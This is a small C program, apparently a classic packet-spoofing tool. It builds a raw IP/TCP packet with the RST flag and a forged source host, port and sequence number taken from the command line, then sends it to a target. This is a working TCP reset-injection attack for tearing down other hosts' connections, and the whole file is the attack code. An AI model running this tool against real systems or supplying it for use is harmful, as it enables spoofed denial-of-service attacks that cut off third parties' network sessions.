#include "tcpip.h"
/* #include "/usr/src/see/srvent.h" */

void sendpack(char *fromhost, int fromport, char *tohost, int toport,
	u_long seqnz) {
 char *packet;
 char *tcppacket;
 char *sendme;
 static struct sockaddr_in local, remote;
 static int sock = 0;
 if (!sock) {
   resolve_address((struct sockaddr *)&local, fromhost, fromport);
   resolve_address((struct sockaddr *)&remote, tohost, toport);
   sock = socket(AF_INET, SOCK_RAW, 255);
   if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  }
   tcppacket = create_tcp(local.sin_port, remote.sin_port, seqnz, 0, TH_RST,
	NULL, 0);
   packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr,
	6, 24, 4, tcppacket, 20);
  {
   int result;

   result = sendto(sock, packet, 40, 0,
	(struct sockaddr *)&remote, sizeof(remote));
   if (result != 40) { perror("sending packet"); }
  }
}

main(int argc, char **argv) {
if (argc!=6) {
 printf("usage: %s <from host> <from port> <to host> <to port> <sequence>\n", argv[0]);
 exit(-1);
}
#ifdef SERVPORTIE
 printf("fake: %s.%s --> %s.%s\n", argv[1], tcp_servport(atoi(argv[2])), 
	argv[3], tcp_servport(atoi(argv[4])));
#else
 printf("fake: %s.%d --> %s.%d\n", argv[1], atoi(argv[2]), argv[3], 
	atoi(argv[4]));
#endif
 sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), atol(argv[5]));
}
